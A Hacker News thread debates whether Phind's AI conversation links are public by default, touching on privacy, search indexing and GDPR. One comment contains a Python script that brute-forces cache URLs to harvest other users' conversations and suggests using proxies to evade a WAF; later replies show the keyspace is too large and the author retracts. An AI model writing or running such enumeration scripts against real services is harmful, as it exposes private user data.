Hacker News Reader

Comment by TekMol | Hacker News Reader

This puts everything I ask it on the internet. Is the intend to build something like an AI StackOverflow this way?

That should not be enabled by default.

If anything, it should ask the user "Are you ok with putting your question and the answer on the open internet?". And it should only be enabled for logged in users. And users should have a way to delete their conversations with Phind again.

It looks like there are already a bunch of conversations indexed by Google:

https://www.google.com/search?q=site:phind.com

View on HN

Whoa what. This a game breaker. I’ve been using this tool for some personal side project stuff and had no idea that this was happening. Whoa. Not good.

To edit: I was never expecting full privacy as I assumed everything being fed into your service was being padded to your data set to make phind a competently fine tuned agent, but open web is not good.

In the end, the amount of times I’ve sworn at your bot with some foul language after it forgets everything on the 3rd chain and I have to go back and redo everything, will probably harm your seo if those swears get published. Just saying.

The cached link is currently shareable but won’t get indexed anywhere unless you yourself share it somewhere like Twitter. But we’ve heard the community’s concern about security through obscurity and we will address this shortly.

Are the 'cached' pages eventually deleted? I've seen some shared `https://www.phind.com/search?cache=*` URLs which redirect to the Phind landing page.

Wiping these pages would not be good from the preservation standpoint, especially since the URL doesn't seem human-readable.

So how hard would it be to brute-force to some share links then? I have been using this for a lot of searching.Should probably have read the ToS.

But to be fair, it feels way worse to use now than when it came out, so I guess I won't lose much by switching away at this point.

I hate this thing assuming it knows what I want.

Previously it had predictable behaviour, and acted like a slow LLM powered search engine.

Now I do a search and it starts asking me shit. I already tabbed away to three other places to do similar searches and come back to some half baked shit that has nothing to do with what I searched for. Plus I have to wait for it to go and do inference again before I can get to a link?

Why forget all the things that search engines got right over the years, but keep all the shit they got wrong?

https://www.phind.com/agent?cache=cll1bg5np0005l008molmt7d2

  import random
  import string
  import requests

  # Static prefix
  prefix = "cll1"

  # An empty set to store the cache links we've already tried
  tried_links = set()

  # Website URL
  url = "http://target.com/agent?cache="

  # Dictionary to store cachelink and its response text
  cache_link_dict = {}

  while True:
      # Generate a random 21 character base 36 encoded string
      suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=21))

      # Combine the prefix and suffix to create the cache link
      cache_link = prefix + suffix
    
      # Continue with a new loop iteration if we've already tried this link
      if cache_link in tried_links:
          continue

      # Add the cache link to our set of tried links 
      tried_links.add(cache_link)

      # Make a request to the website with the cache link
      response = requests.get(url + cache_link)

      # Store the cachelink and its response text in the dictionary
      cache_link_dict[cache_link] = response.text

      # Add a delay between requests to avoid overwhelming the server
      time.sleep(1)

So it took 17 minutes to use your website to create the code needed to start enumerating these links.

Now given, I am pretty sure a large number of these will return nothing, but I am also willing to bet there are people that put GDPR data into these searches, perhaps a lookup of a phone number, or an address, names?

It would be quite trivial adding in the code to run these requests through a pool of proxies so they don't trigger anything too suspicious on your WAF.

I don't think I'm particularly skilled either, so if I can do this, I'm sure someone already has.

You can still use the basic search mode if you prefer maximum control.

I actually loved the original version when it just came out.

It beat ChatGPT every time simply because it unlocked a portion of ChatGPT locked down by the knowledge cutoff. It was also quite speedy, and even the way it resists going into infinite loops was much better than ChatGPT at the time.

I assumed my data might be used to train AI in an obtuse obfuscated kinda way, but I never would have imagined I could just brute-force cache links.

Why do you believe you can brute-force cache links? There could be some vulnerability but that string looks far too long to brute-force.

You are probably right, I was just sleep deprived and angered when I wrote that reply.

I am now only sleep deprived. I still use phind, and just came back here to say sorry to whoever, since it really does help me with productivity.

Also, it will require more time to reverse engineer the cache links, and I don't want to spend more time.

First all the requests return 403 so think there will need to be a selenium component (user-agent trickery is not sufficient).

Theres ~10^31 possible links.

Assuming theres 100 billion valid links and someones scanning 1mil links per second, they'd still be averaging 1 discovered link per million years.

fwiw I do like how easy it is to share conversations now. if you change it, please make the friction to sharing minimal.

I think that we'll made it private by default but with an easy "share" button you can click that opens it up.

You're right -- we need to have a way to make conversations fully private for logged in users. We'll work on this and will introduce more options for data privacy. Please feel free to reach out to me at michael@phind.com to chat further.

That said, no Phind links will be indexed unless you actively share the link to your conversation on an indexable site (like Twitter), which implies that you wish the link to be public anyway. I assure you that this is not an intentional dark pattern.

Not only for logged in users.

Even more so for users who are not logged in.

I find it very surprising that I type something into your service and that gets hosted on the open internet for everybody to see.

And as a logged out user, I have no way to ever delete it.

For logged out users, you really should not store the input at all.

I mean, you should never type something on any free site you don't expect to be made public. That's an assumption on your part that is dangerous.

This isn't the posters line of reasoning at all, please don't derail the conversation with posts like this.

Really? You've never typed anything embarrassing into Google Search, like medical queries?

No Phind links will be indexed or become easy to view for anyone else unless you share it on an indexable site (like Twitter), which implies that you're willing to make it public anyway. That said, we will add controls for this.

Not sure I believe in 'security by not finding the link'-- links get leaked through a variety of means that don't imply consent (e.g. browser history, metadata requests, or reshares).

I think what you have now is reasonable, considering the links are secret.

I am curious however how the Explore tab is populated? Are those conversations created by employees for demonstration purposes, or were they sourced from user interactions?

I find it very surprising that I type something into your service and that gets hosted on the open internet for everybody to see.

Did you expect anything else from an Internet-based cloud service? In fact, you just did that on this site, but I doubt you thought it's surprising?

He's logged in here and expressly conversing in public. You are comparing apples to nuclear reactors.

Until this happens and until you can verify that you’re not indexing every conversation to the open web, this is enough for me to full-stop using your service. I was under no impression whatsoever that the threads were made public.

We're not indexing every conversation to the open web. We've only seen this happen for threads that are deliberately shared publicly by the user. Please feel free to reach out to me personally at michael@phind.com and I'd be happy to discuss this further.

It’s a lot easier to start with privacy as a focus. It’s a lot harder to plug up all the holes after a public launch.

Looking forward to a lot of public updates! Repost back on HN when you all have resolved and I’ll start using the tool again.

This is frankly disgusting behavior. There's zero indication on the homepage that your questions and interactions will be published and indexed on Google, and I think it's an obvious expectation that they wouldn't be in the absence of informed consent. It's common to include proprietary code or sensitive business details when engaging with a tool like this, and it's a vantablack level dark pattern to make that information publicly available as an "SEO growth hack" without informing the user.

EDIT: It sounds like this might not be what is happening. @rushingcreek's original reply seemed to confirm it, and was only edited to add more information after I left this comment.

Nothing will be indexed unless you actively share the link to your conversation on an indexable site (like Twitter), which implies that you wish the link to be public anyway. I assure you that this is not an intentional dark pattern.

The problem is that you create such links by default. I should not be able to open a link to a specific conversation and view that conversation 1. Unless I'm logged in and I have specific permission to view that item or 2. I have actively created a 'sharable' link.

People can type anything into these boxes, and if it's PII then you're on the hook for GDPR (not to mention the California equivalents) and implicit sharing and security through obscurity are not viewed favorably under those laws.

This is the current standard amongst AI search/answer engines and this is frankly the first complaint that we've heard about this.

That said, I hear you loud and clear and we will introduce more options for data privacy. Please feel free to reach out to me at michael@phind.com to chat further.

This seems to be a misunderstanding.

Which other "AI search/answer engines" are you referring to?

Perplexity apparently does this, I just confirmed it. Which sucks because perplexity is a very solid product that also lets you opt out of data collection and has a share button, implying action needs to take place to get it to be public

Neither ChatGPT, Bard, nor Claude behave in this fashion. To which ones are you referring?

Both Perplexity and You.com do this as well.

If you use the ChatGPT "Share" feature and send the link to someone, anyone who has the link can view it. How else did you think it worked? They have no access control ui.

That is an explicit share. That link does not exist until you click the share button. With Phind, the URL to the chat is the share link. It's like every google doc having 'People with the link can view' turned on by default. If you create a random string and add it to their URL scheme and happen on a chat, you can view it regardless of if it's been intentionally shared by the creator, you don't even have to be logged into Phind.

Chrome and other browsers use autocomplete to get websites to crawl.

Are you sure?

https://blogs.perficient.com/2017/03/15/does-google-use-chro...

Yandex seems to have crawled many more results, some conversations are quite hilarious: https://yandex.com/search/?text=site%253Aphind.com

All of these links are examples that we ourselves have posted on our homepage.

Reply on news.ycombinator.com